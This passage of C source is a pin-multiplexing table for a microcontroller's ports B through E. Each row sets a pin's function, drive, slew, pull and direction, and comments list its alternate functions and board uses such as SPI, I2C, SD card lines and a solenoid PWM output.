{ PTB_BASE_PTR, PORTB_BASE_PTR, 5, 0, 0, GPIO, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 86 # PTB5 # Default=(ADC1_SE11) ALT0=(ADC1_SE11) ALT1=(PTB5) ALT2=() ALT3=() ALT4=(ENET0_1588_TMR3) ALT5=() ALT6=(FTM2_FLT0) ALT7=() EZPort=()
{ PTB_BASE_PTR, PORTB_BASE_PTR, 6, 0, 0, GPIO, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 87 # PTB6 # Default=(ADC1_SE12) ALT0=(ADC1_SE12) ALT1=(PTB6) ALT2=() ALT3=() ALT4=() ALT5=(FB_AD23/SDRAM_D23) ALT6=() ALT7=() EZPort=()
{ PTB_BASE_PTR, PORTB_BASE_PTR, 7, 0, 0, GPIO, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // INT from LDC1000 88 # PTB7 # Default=(ADC1_SE13) ALT0=(ADC1_SE13) ALT1=(PTB7) ALT2=() ALT3=() ALT4=() ALT5=(FB_AD22/SDRAM_D22) ALT6=() ALT7=() EZPort=()
{ PTB_BASE_PTR, PORTB_BASE_PTR, 8, 0, 0, GPIO, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 89 # PTB8 # Default=(DISABLED) ALT0=() ALT1=(PTB8) ALT2=() ALT3=(UART3_RTS_b) ALT4=() ALT5=(FB_AD21/SDRAM_D21) ALT6=() ALT7=() EZPort=()
{ PTB_BASE_PTR, PORTB_BASE_PTR, 9, 0, 0, GPIO, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_OUT, 1 }, // SPI1_PCS1 90 # PTB9 # Default=(DISABLED) ALT0=() ALT1=(PTB9) ALT2=(SPI1_PCS1) ALT3=(UART3_CTS_b) ALT4=() ALT5=(FB_AD20/SDRAM_D20) ALT6=() ALT7=() EZPort=()
{ PTB_BASE_PTR, PORTB_BASE_PTR, 10, 0, 0, GPIO, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 91 # PTB10 # Default=(ADC1_SE14) ALT0=(ADC1_SE14) ALT1=(PTB10) ALT2=(SPI1_PCS0) ALT3=(UART3_RX) ALT4=() ALT5=(FB_AD19/SDRAM_D19) ALT6=(FTM0_FLT1) ALT7=() EZPort=()
{ PTB_BASE_PTR, PORTB_BASE_PTR, 11, 0, 0, ALT2, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // SPI1_SCK 92 # PTB11 # Default=(ADC1_SE15) ALT0=(ADC1_SE15) ALT1=(PTB11) ALT2=(SPI1_SCK) ALT3=(UART3_TX) ALT4=() ALT5=(FB_AD18/SDRAM_D18) ALT6=(FTM0_FLT2) ALT7=() EZPort=()
{ PTB_BASE_PTR, PORTB_BASE_PTR, 16, 0, 0, ALT2, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // SPI1_SOUT 95 # PTB16 # Default=(TSI0_CH9) ALT0=(TSI0_CH9) ALT1=(PTB16) ALT2=(SPI1_SOUT) ALT3=(UART0_RX) ALT4=(FTM_CLKIN0) ALT5=(FB_AD17/SDRAM_D17) ALT6=(EWM_IN) ALT7=(TPM_CLKIN0) EZPort=()
{ PTB_BASE_PTR, PORTB_BASE_PTR, 17, 0, 0, ALT2, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // SPI1_SIN 96 # PTB17 # Default=(TSI0_CH10) ALT0=(TSI0_CH10) ALT1=(PTB17) ALT2=(SPI1_SIN) ALT3=(UART0_TX) ALT4=(FTM_CLKIN1) ALT5=(FB_AD16/SDRAM_D16) ALT6=(EWM_OUT_b) ALT7=(TPM_CLKIN1) EZPort=()
{ PTB_BASE_PTR, PORTB_BASE_PTR, 18, 0, 0, GPIO, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 97 # PTB18 # Default=(TSI0_CH11) ALT0=(TSI0_CH11) ALT1=(PTB18) ALT2=(CAN0_TX) ALT3=(FTM2_CH0) ALT4=(I2S0_TX_BCLK) ALT5=(FB_AD15/SDRAM_A23) ALT6=(FTM2_QD_PHA/TPM2_CH0) ALT7=() EZPort=()
{ PTB_BASE_PTR, PORTB_BASE_PTR, 19, 0, 0, GPIO, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 98 # PTB19 # Default=(TSI0_CH12) ALT0=(TSI0_CH12) ALT1=(PTB19) ALT2=(CAN0_RX) ALT3=(FTM2_CH1) ALT4=(I2S0_TX_FS) ALT5=(FB_OE_b) ALT6=(FTM2_QD_PHB/TPM2_CH1) ALT7=() EZPort=()
{ PTB_BASE_PTR, PORTB_BASE_PTR, 20, 0, 0, GPIO, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 99 # PTB20 # Default=(DISABLED) ALT0=() ALT1=(PTB20) ALT2=(SPI2_PCS0) ALT3=() ALT4=() ALT5=(FB_AD31/SDRAM_D31) ALT6=(CMP0_OUT) ALT7=() EZPort=()
{ PTB_BASE_PTR, PORTB_BASE_PTR, 21, 0, 0, GPIO, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 100 # PTB21 # Default=(DISABLED) ALT0=() ALT1=(PTB21) ALT2=(SPI2_SCK) ALT3=() ALT4=() ALT5=(FB_AD30/SDRAM_D30) ALT6=(CMP1_OUT) ALT7=() EZPort=()
{ PTB_BASE_PTR, PORTB_BASE_PTR, 22, 0, 0, GPIO, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 101 # PTB22 # Default=(DISABLED) ALT0=() ALT1=(PTB22) ALT2=(SPI2_SOUT) ALT3=() ALT4=() ALT5=(FB_AD29/SDRAM_D29) ALT6=(CMP2_OUT) ALT7=() EZPort=()
{ PTB_BASE_PTR, PORTB_BASE_PTR, 23, 0, 0, GPIO, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 102 # PTB23 # Default=(DISABLED) ALT0=() ALT1=(PTB23) ALT2=(SPI2_SIN) ALT3=(SPI0_PCS5) ALT4=() ALT5=(FB_AD28/SDRAM_D28) ALT6=(CMP3_OUT) ALT7=() EZPort=()
{ PTC_BASE_PTR, PORTC_BASE_PTR, 0, 0, 0, GPIO, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 103 # PTC0 # Default=(ADC0_SE14/TSI0_CH13) ALT0=(ADC0_SE14/TSI0_CH13) ALT1=(PTC0) ALT2=(SPI0_PCS4) ALT3=(PDB0_EXTRG) ALT4=(USB0_SOF_OUT) ALT5=(FB_AD14/SDRAM_A22) ALT6=(I2S0_TXD1) ALT7=() EZPort=()
{ PTC_BASE_PTR, PORTC_BASE_PTR, 1, 0, 0, ALT4, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_OUT, 0 }, // FTM0_CH0(Solenoid) 104 # PTC1/LLWU_P6 # Default=(ADC0_SE15/TSI0_CH14) ALT0=(ADC0_SE15/TSI0_CH14) ALT1=(PTC1/LLWU_P6) ALT2=(SPI0_PCS3) ALT3=(UART1_RTS_b) ALT4=(FTM0_CH0) ALT5=(FB_AD13/SDRAM_A21) ALT6=(I2S0_TXD0) ALT7=() EZPort=()
{ PTC_BASE_PTR, PORTC_BASE_PTR, 2, 0, 0, ALT4, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // FTM0_CH1(LDC1000 clk)105 # PTC2 # Default=(ADC0_SE4b/CMP1_IN0/TSI0_CH15) ALT0=(ADC0_SE4b/CMP1_IN0/TSI0_CH15) ALT1=(PTC2) ALT2=(SPI0_PCS2) ALT3=(UART1_CTS_b) ALT4=(FTM0_CH1) ALT5=(FB_AD12/SDRAM_A20) ALT6=(I2S0_TX_FS) ALT7=() EZPort=()
{ PTC_BASE_PTR, PORTC_BASE_PTR, 3, 0, 0, ALT4, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 106 # PTC3/LLWU_P7 # Default=(CMP1_IN1) ALT0=(CMP1_IN1) ALT1=(PTC3/LLWU_P7) ALT2=(SPI0_PCS1) ALT3=(UART1_RX) ALT4=(FTM0_CH2) ALT5=(CLKOUT) ALT6=(I2S0_TX_BCLK) ALT7=() EZPort=()
{ PTC_BASE_PTR, PORTC_BASE_PTR, 4, 0, 0, ALT4, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 109 # PTC4/LLWU_P8 # Default=(DISABLED) ALT0=() ALT1=(PTC4/LLWU_P8) ALT2=(SPI0_PCS0) ALT3=(UART1_TX) ALT4=(FTM0_CH3) ALT5=(FB_AD11/SDRAM_A19) ALT6=(CMP1_OUT) ALT7=() EZPort=()
{ PTC_BASE_PTR, PORTC_BASE_PTR, 5, 0, 0, GPIO, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 110 # PTC5/LLWU_P9 # Default=(DISABLED) ALT0=() ALT1=(PTC5/LLWU_P9) ALT2=(SPI0_SCK) ALT3=(LPTMR0_ALT2) ALT4=(I2S0_RXD0) ALT5=(FB_AD10/SDRAM_A18) ALT6=(CMP0_OUT) ALT7=(FTM0_CH2) EZPort=()
{ PTC_BASE_PTR, PORTC_BASE_PTR, 6, 0, 0, GPIO, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 111 # PTC6/LLWU_P10 # Default=(CMP0_IN0) ALT0=(CMP0_IN0) ALT1=(PTC6/LLWU_P10) ALT2=(SPI0_SOUT) ALT3=(PDB0_EXTRG) ALT4=(I2S0_RX_BCLK) ALT5=(FB_AD9/SDRAM_A17) ALT6=(I2S0_MCLK) ALT7=() EZPort=()
{ PTC_BASE_PTR, PORTC_BASE_PTR, 7, 0, 0, GPIO, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 112 # PTC7 # Default=(CMP0_IN1) ALT0=(CMP0_IN1) ALT1=(PTC7) ALT2=(SPI0_SIN) ALT3=(USB0_SOF_OUT) ALT4=(I2S0_RX_FS) ALT5=(FB_AD8/SDRAM_A16) ALT6=() ALT7=() EZPort=()
{ PTC_BASE_PTR, PORTC_BASE_PTR, 8, 0, 0, GPIO, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 113 # PTC8 # Default=(ADC1_SE4b/CMP0_IN2) ALT0=(ADC1_SE4b/CMP0_IN2) ALT1=(PTC8) ALT2=() ALT3=(FTM3_CH4) ALT4=(I2S0_MCLK) ALT5=(FB_AD7/SDRAM_A15) ALT6=() ALT7=() EZPort=()
{ PTC_BASE_PTR, PORTC_BASE_PTR, 9, 0, 0, ALT3, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 114 # PTC9 # Default=(ADC1_SE5b/CMP0_IN3) ALT0=(ADC1_SE5b/CMP0_IN3) ALT1=(PTC9) ALT2=() ALT3=(FTM3_CH5) ALT4=(I2S0_RX_BCLK) ALT5=(FB_AD6/SDRAM_A14) ALT6=(FTM2_FLT0) ALT7=() EZPort=()
{ PTC_BASE_PTR, PORTC_BASE_PTR, 10, 0, 0, GPIO, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 115 # PTC10 # Default=(ADC1_SE6b) ALT0=(ADC1_SE6b) ALT1=(PTC10) ALT2=(I2C1_SCL) ALT3=(FTM3_CH6) ALT4=(I2S0_RX_FS) ALT5=(FB_AD5/SDRAM_A13) ALT6=() ALT7=() EZPort=()
{ PTC_BASE_PTR, PORTC_BASE_PTR, 11, 0, 0, GPIO, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 116 # PTC11/LLWU_P11 # Default=(ADC1_SE7b) ALT0=(ADC1_SE7b) ALT1=(PTC11/LLWU_P11) ALT2=(I2C1_SDA) ALT3=(FTM3_CH7) ALT4=(I2S0_RXD1) ALT5=(FB_RW_b) ALT6=() ALT7=() EZPort=()
{ PTC_BASE_PTR, PORTC_BASE_PTR, 12, 0, 0, GPIO, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 117 # PTC12 # Default=(DISABLED) ALT0=() ALT1=(PTC12) ALT2=() ALT3=(UART4_RTS_b) ALT4=(FTM_CLKIN0) ALT5=(FB_AD27/SDRAM_D27) ALT6=(FTM3_FLT0) ALT7=(TPM_CLKIN0) EZPort=()
{ PTC_BASE_PTR, PORTC_BASE_PTR, 13, 0, 0, GPIO, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 118 # PTC13 # Default=(DISABLED) ALT0=() ALT1=(PTC13) ALT2=() ALT3=(UART4_CTS_b) ALT4=(FTM_CLKIN1) ALT5=(FB_AD26/SDRAM_D26) ALT6=() ALT7=(TPM_CLKIN1) EZPort=()
{ PTC_BASE_PTR, PORTC_BASE_PTR, 14, 0, 0, GPIO, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 119 # PTC14 # Default=(DISABLED) ALT0=() ALT1=(PTC14) ALT2=() ALT3=(UART4_RX) ALT4=() ALT5=(FB_AD25/SDRAM_D25) ALT6=() ALT7=() EZPort=()
{ PTC_BASE_PTR, PORTC_BASE_PTR, 15, 0, 0, GPIO, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 120 # PTC15 # Default=(DISABLED) ALT0=() ALT1=(PTC15) ALT2=() ALT3=(UART4_TX) ALT4=() ALT5=(FB_AD24/SDRAM_D24) ALT6=() ALT7=() EZPort=()
{ PTC_BASE_PTR, PORTC_BASE_PTR, 16, 0, 0, GPIO, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 123 # PTC16 # Default=(DISABLED) ALT0=() ALT1=(PTC16) ALT2=(CAN1_RX) ALT3=(UART3_RX) ALT4=(ENET0_1588_TMR0) ALT5=(FB_CS5_b/FB_TSIZ1/FB_BE23_16_BLS15_8_b/SDRAM_DQM2) ALT6=() ALT7=() EZPort=()
{ PTC_BASE_PTR, PORTC_BASE_PTR, 17, 0, 0, GPIO, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 124 # PTC17 # Default=(DISABLED) ALT0=() ALT1=(PTC17) ALT2=(CAN1_TX) ALT3=(UART3_TX) ALT4=(ENET0_1588_TMR1) ALT5=(FB_CS4_b/FB_TSIZ0/FB_BE31_24_BLS7_0_b/SDRAM_DQM3) ALT6=() ALT7=() EZPort=()
{ PTC_BASE_PTR, PORTC_BASE_PTR, 18, 0, 0, GPIO, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 125 # PTC18 # Default=(DISABLED) ALT0=() ALT1=(PTC18) ALT2=() ALT3=(UART3_RTS_b) ALT4=(ENET0_1588_TMR2) ALT5=(FB_TBST_b/FB_CS2_b/FB_BE15_8_BLS23_16_b/SDRAM_DQM1) ALT6=() ALT7=() EZPort=()
{ PTC_BASE_PTR, PORTC_BASE_PTR, 19, 0, 0, GPIO, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 126 # PTC19 # Default=(DISABLED) ALT0=() ALT1=(PTC19) ALT2=() ALT3=(UART3_CTS_b) ALT4=(ENET0_1588_TMR3) ALT5=(FB_CS3_b/FB_BE7_0_BLS31_24_b/SDRAM_DQM0) ALT6=(FB_TA_b) ALT7=() EZPort=()
{ PTD_BASE_PTR, PORTD_BASE_PTR, 0, 0, 0, ALT4, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 127 # PTD0/LLWU_P12 # Default=(DISABLED) ALT0=() ALT1=(PTD0/LLWU_P12) ALT2=(SPI0_PCS0) ALT3=(UART2_RTS_b) ALT4=(FTM3_CH0) ALT5=(FB_ALE/FB_CS1_b/FB_TS_b) ALT6=() ALT7=() EZPort=()
{ PTD_BASE_PTR, PORTD_BASE_PTR, 1, 0, 0, GPIO, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 128 # PTD1 # Default=(ADC0_SE5b) ALT0=(ADC0_SE5b) ALT1=(PTD1) ALT2=(SPI0_SCK) ALT3=(UART2_CTS_b) ALT4=(FTM3_CH1) ALT5=(FB_CS0_b) ALT6=() ALT7=() EZPort=()
{ PTD_BASE_PTR, PORTD_BASE_PTR, 2, 0, 0, GPIO, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 129 # PTD2/LLWU_P13 # Default=(DISABLED) ALT0=() ALT1=(PTD2/LLWU_P13) ALT2=(SPI0_SOUT) ALT3=(UART2_RX) ALT4=(FTM3_CH2) ALT5=(FB_AD4/SDRAM_A12) ALT6=() ALT7=(I2C0_SCL) EZPort=()
{ PTD_BASE_PTR, PORTD_BASE_PTR, 3, 0, 0, GPIO, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 130 # PTD3 # Default=(DISABLED) ALT0=() ALT1=(PTD3) ALT2=(SPI0_SIN) ALT3=(UART2_TX) ALT4=(FTM3_CH3) ALT5=(FB_AD3/SDRAM_A11) ALT6=() ALT7=(I2C0_SDA) EZPort=()
{ PTD_BASE_PTR, PORTD_BASE_PTR, 4, 0, 0, ALT4, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 131 # PTD4/LLWU_P14 # Default=(DISABLED) ALT0=() ALT1=(PTD4/LLWU_P14) ALT2=(SPI0_PCS1) ALT3=(UART0_RTS_b) ALT4=(FTM0_CH4) ALT5=(FB_AD2/SDRAM_A10) ALT6=(EWM_IN) ALT7=(SPI1_PCS0) EZPort=()
{ PTD_BASE_PTR, PORTD_BASE_PTR, 5, 0, 0, ALT4, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 132 # PTD5 # Default=(ADC0_SE6b) ALT0=(ADC0_SE6b) ALT1=(PTD5) ALT2=(SPI0_PCS2) ALT3=(UART0_CTS_b/UART0_COL_b) ALT4=(FTM0_CH5) ALT5=(FB_AD1/SDRAM_A9) ALT6=(EWM_OUT_b) ALT7=(SPI1_SCK) EZPort=()
{ PTD_BASE_PTR, PORTD_BASE_PTR, 6, 0, 0, ALT4, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 133 # PTD6/LLWU_P15 # Default=(ADC0_SE7b) ALT0=(ADC0_SE7b) ALT1=(PTD6/LLWU_P15) ALT2=(SPI0_PCS3) ALT3=(UART0_RX) ALT4=(FTM0_CH6) ALT5=(FB_AD0) ALT6=(FTM0_FLT0) ALT7=(SPI1_SOUT) EZPort=()
{ PTD_BASE_PTR, PORTD_BASE_PTR, 7, 0, 0, ALT4, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 136 # PTD7 # Default=(DISABLED) ALT0=() ALT1=(PTD7) ALT2=(CMT_IRO) ALT3=(UART0_TX) ALT4=(FTM0_CH7) ALT5=(SDRAM_CKE) ALT6=(FTM0_FLT1) ALT7=(SPI1_SIN) EZPort=()
{ PTD_BASE_PTR, PORTD_BASE_PTR, 8, 0, 0, ALT2, DSE_HI, FAST_SLEW, OD__EN, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // SCL 137 # PTD8/LLWU_P24 # Default=(DISABLED) ALT0=() ALT1=(PTD8/LLWU_P24) ALT2=(I2C0_SCL) ALT3=() ALT4=() ALT5=(LPUART0_RX) ALT6=(FB_A16) ALT7=() EZPort=()
{ PTD_BASE_PTR, PORTD_BASE_PTR, 9, 0, 0, ALT2, DSE_HI, FAST_SLEW, OD__EN, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // SDA 138 # PTD9 # Default=(DISABLED) ALT0=() ALT1=(PTD9) ALT2=(I2C0_SDA) ALT3=() ALT4=() ALT5=(LPUART0_TX) ALT6=(FB_A17) ALT7=() EZPort=()
{ PTD_BASE_PTR, PORTD_BASE_PTR, 10, 0, 0, GPIO, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_OUT, 0 }, // PSEL 139 # PTD10 # Default=(DISABLED) ALT0=() ALT1=(PTD10) ALT2=() ALT3=() ALT4=() ALT5=(LPUART0_RTS_b) ALT6=(FB_A18) ALT7=() EZPort=()
{ PTD_BASE_PTR, PORTD_BASE_PTR, 11, 0, 0, ALT2, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 140 # PTD11/LLWU_P25 # Default=(DISABLED) ALT0=() ALT1=(PTD11/LLWU_P25) ALT2=(SPI2_PCS0) ALT3=() ALT4=(SDHC0_CLKIN) ALT5=(LPUART0_CTS_b) ALT6=(FB_A19) ALT7=() EZPort=()
{ PTD_BASE_PTR, PORTD_BASE_PTR, 12, 0, 0, ALT2, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // MKW40_SPI1_SCK 141 # PTD12 # Default=(DISABLED) ALT0=() ALT1=(PTD12) ALT2=(SPI2_SCK) ALT3=(FTM3_FLT0) ALT4=(SDHC0_D4) ALT5=() ALT6=(FB_A20) ALT7=() EZPort=()
{ PTD_BASE_PTR, PORTD_BASE_PTR, 13, 0, 0, ALT2, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // MKW40_SPI1_SIN 142 # PTD13 # Default=(DISABLED) ALT0=() ALT1=(PTD13) ALT2=(SPI2_SOUT) ALT3=() ALT4=(SDHC0_D5) ALT5=() ALT6=(FB_A21) ALT7=() EZPort=()
{ PTD_BASE_PTR, PORTD_BASE_PTR, 14, 0, 0, ALT2, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // MKW40_SPI1_SOUT 143 # PTD14 # Default=(DISABLED) ALT0=() ALT1=(PTD14) ALT2=(SPI2_SIN) ALT3=() ALT4=(SDHC0_D6) ALT5=() ALT6=(FB_A22) ALT7=() EZPort=()
{ PTD_BASE_PTR, PORTD_BASE_PTR, 15, 0, 0, GPIO, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // INT 144 # PTD15 # Default=(DISABLED) ALT0=() ALT1=(PTD15) ALT2=(SPI2_PCS1) ALT3=() ALT4=(SDHC0_D7) ALT5=() ALT6=(FB_A23) ALT7=() EZPort=()
{ PTE_BASE_PTR, PORTE_BASE_PTR, 0, 0, 0, ALT4, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // SD_D1 1 # PTE0 # Default=(ADC1_SE4a) ALT0=(ADC1_SE4a) ALT1=(PTE0) ALT2=(SPI1_PCS1) ALT3=(UART1_TX) ALT4=(SDHC0_D1) ALT5=(TRACE_CLKOUT) ALT6=(I2C1_SDA) ALT7=(RTC_CLKOUT) EZPort=()
{ PTE_BASE_PTR, PORTE_BASE_PTR, 1, 0, 0, ALT4, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // SD_D0 2 # PTE1/LLWU_P0 # Default=(ADC1_SE5a) ALT0=(ADC1_SE5a) ALT1=(PTE1/LLWU_P0) ALT2=(SPI1_SOUT) ALT3=(UART1_RX) ALT4=(SDHC0_D0) ALT5=(TRACE_D3) ALT6=(I2C1_SCL) ALT7=(SPI1_SIN) EZPort=()
{ PTE_BASE_PTR, PORTE_BASE_PTR, 2, 0, 0, ALT4, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // SD_CLK 3 # PTE2/LLWU_P1 # Default=(ADC1_SE6a) ALT0=(ADC1_SE6a) ALT1=(PTE2/LLWU_P1) ALT2=(SPI1_SCK) ALT3=(UART1_CTS_b) ALT4=(SDHC0_DCLK) ALT5=(TRACE_D2) ALT6=() ALT7=() EZPort=()
{ PTE_BASE_PTR, PORTE_BASE_PTR, 3, 0, 0, ALT4, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // SD_CMD 4 # PTE3 # Default=(ADC1_SE7a) ALT0=(ADC1_SE7a) ALT1=(PTE3) ALT2=(SPI1_SIN) ALT3=(UART1_RTS_b) ALT4=(SDHC0_CMD) ALT5=(TRACE_D1) ALT6=() ALT7=(SPI1_SOUT) EZPort=()
{ PTE_BASE_PTR, PORTE_BASE_PTR, 4, 0, 0, ALT4, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // SD_D3 7 # PTE4/LLWU_P2 # Default=(DISABLED) ALT0=() ALT1=(PTE4/LLWU_P2) ALT2=(SPI1_PCS0) ALT3=(UART3_TX) ALT4=(SDHC0_D3) ALT5=(TRACE_D0) ALT6=() ALT7=() EZPort=()
{ PTE_BASE_PTR, PORTE_BASE_PTR, 5, 0, 0, ALT4, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // SD_D2 8 # PTE5 # Default=(DISABLED) ALT0=() ALT1=(PTE5) ALT2=(SPI1_PCS2) ALT3=(UART3_RX) ALT4=(SDHC0_D2) ALT5=() ALT6=(FTM3_CH0) ALT7=() EZPort=()
{ PTE_BASE_PTR, PORTE_BASE_PTR, 6, 0, 0, ALT6, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 9 # PTE6/LLWU_P16 # Default=(DISABLED) ALT0=() ALT1=(PTE6/LLWU_P16) ALT2=(SPI1_PCS3) ALT3=(UART3_CTS_b) ALT4=(I2S0_MCLK) ALT5=() ALT6=(FTM3_CH1) ALT7=(USB0_SOF_OUT) EZPort=()
{ PTE_BASE_PTR, PORTE_BASE_PTR, 7, 0, 0, ALT6, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 10 # PTE7 # Default=(DISABLED) ALT0=() ALT1=(PTE7) ALT2=() ALT3=(UART3_RTS_b) ALT4=(I2S0_RXD0) ALT5=() ALT6=(FTM3_CH2) ALT7=() EZPort=()
{ PTE_BASE_PTR, PORTE_BASE_PTR, 8, 0, 0, ALT6, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 11 # PTE8 # Default=(DISABLED) ALT0=() ALT1=(PTE8) ALT2=(I2S0_RXD1) ALT3=() ALT4=(I2S0_RX_FS) ALT5=(LPUART0_TX) ALT6=(FTM3_CH3) ALT7=() EZPort=()
{ PTE_BASE_PTR, PORTE_BASE_PTR, 9, 0, 0, ALT6, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 12 # PTE9/LLWU_P17 # Default=(DISABLED) ALT0=() ALT1=(PTE9/LLWU_P17) ALT2=(I2S0_TXD1) ALT3=() ALT4=(I2S0_RX_BCLK) ALT5=(LPUART0_RX) ALT6=(FTM3_CH4) ALT7=() EZPort=()
{ PTE_BASE_PTR, PORTE_BASE_PTR, 10, 0, 0, ALT7, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // USB_HS_DI 13 # PTE10/LLWU_P18 # Default=(DISABLED) ALT0=() ALT1=(PTE10/LLWU_P18) ALT2=(I2C3_SDA) ALT3=() ALT4=(I2S0_TXD0) ALT5=(LPUART0_CTS_b) ALT6=(FTM3_CH5) ALT7=(USB1_ID) EZPort=()
{ PTE_BASE_PTR, PORTE_BASE_PTR, 11, 0, 0, ALT6, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 14 # PTE11 # Default=(DISABLED) ALT0=() ALT1=(PTE11) ALT2=(I2C3_SCL) ALT3=() ALT4=(I2S0_TX_FS) ALT5=(LPUART0_RTS_b) ALT6=(FTM3_CH6) ALT7=() EZPort=()
{ PTE_BASE_PTR, PORTE_BASE_PTR, 12, 0, 0, ALT6, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 15 # PTE12 # Default=(DISABLED) ALT0=() ALT1=(PTE12) ALT2=() ALT3=() ALT4=(I2S0_TX_BCLK) ALT5=() ALT6=(FTM3_CH7) ALT7=() EZPort=()
